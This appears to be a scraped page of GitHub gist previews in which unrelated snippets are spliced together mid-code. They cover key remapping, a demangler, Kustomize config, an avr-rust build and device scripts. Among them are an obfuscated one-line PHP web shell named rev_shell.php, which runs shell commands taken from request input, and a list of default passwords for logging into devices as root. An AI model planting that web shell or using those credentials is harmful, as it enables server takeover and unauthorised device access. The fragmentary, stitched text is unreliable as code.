You could remapping keys via the macOS embedded command line tool hidutil.
Key IDs Table
| Usage | Usage ID (hex) | Usage | Usage ID (hex) | Usage | Usage ID (hex) | Usage | Usage ID (hex) |
|---|
| function demangle(mangledName, options = {}) { | |
| const { nameOnly = false } = options; | |
| let index = 0; | |
| function parseNumber() { | |
| let num = ''; | |
| while (index < mangledName.length && /\d/.test(mangledName[index])) { | |
| num += mangledName[index++]; | |
| } | |
| return parseInt(num, 10); |
This was initially posted in an kubernetes-sigs/kustomize issue.
We are using Kustomize's vars feature. Initially we didn't understand how to use it for our purpose, but it is a 100% fit. One example is our Ingress resource, which looks like this:
# file: base/ingress.yaml
apiVersion: networking.k8s.io/v1beta1
kind: Ingress
metadata:
name: services| <?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`; | |
| /* | |
| * In terminal: | |
| * $ echo -ne '<?=`{${~\xa0\xb8\xba\xab}[\xa0]}`;' > rev_shell.php | |
| * This is how the code will be produced, \xa0\xb8\xba\xab will be | |
| * treated as constant therefore no " needed. It is also not copyable | |
| * string because of non-ascii characters | |
| * | |
| * Explanation: |
| git clone git@github.com:avr-rust/rust.git avr-rust | |
| cd avr-rust | |
| git checkout avr-support # 8405b30 at time of writing | |
| cp config.toml.example config.toml | |
| # Manually uncomment experimental-targets setting in config.toml | |
| ./x.py build | |
| rustup toolchain link avr $(realpath $(find build -name 'stage2')) | |
| cd ../../ |
| const utils = { | |
| colors: { | |
| red: function(string) { | |
| return '\x1b[31m' + string + '\x1b[0m'; | |
| }, | |
| green: function(string) { | |
| return '\x1b[32m' + string + '\x1b[0m'; | |
| }, |
| #include <string> | |
| const wchar_t* | |
| SK_GetSteamDir (void) | |
| { | |
| static | |
| wchar_t wszSteamPath [MAX_PATH + 2] = { }; | |
| DWORD len = MAX_PATH; | |
| LSTATUS status = |
| # th0ma5w at github | |
| # | |
| # requires: | |
| # http://archive.openwrt.org/attitude_adjustment/12.09/ar71xx/generic/packages/zlib_1.2.7-1_ar71xx.ipk | |
| # http://archive.openwrt.org/attitude_adjustment/12.09/ar71xx/generic/packages/python-mini_2.7.3-1_ar71xx.ipk | |
| # | |
| # python ./tzumi_server.py | |
| # | |
| import socket |
| Summary of passwords by sperglord8008s, updated November 1. 2020. For login try "root", "default", "defaul" or "root" | |
| 00000000 | |
| 059AnkJ | |
| 4uvdzKqBkj.jg | |
| 7ujMko0admin | |
| 7ujMko0vizxv | |
| 123 | |
| 1111 | |
| 1234 |
| // A very crude tool to extract GDepth:Data chunks from the XMP data in images | |
| // that use the Lens Blur feature in Google's Android Camera App | |
| // Usage: node gdepth-extract.js <image name.jpg> | |
| // Outputs <image name.png> | |
| // Requires Buffer Tools for buffer.indexOf(): npm install buffertools | |
| require('buffertools').extend(); | |
| var fs = require('fs'), | |
| image = (process.argv)[2], |